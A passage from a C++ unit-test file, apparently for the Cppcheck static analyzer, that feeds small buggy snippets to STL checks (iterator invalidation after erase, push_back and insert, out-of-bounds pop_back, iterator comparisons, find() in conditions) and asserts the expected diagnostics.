std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if 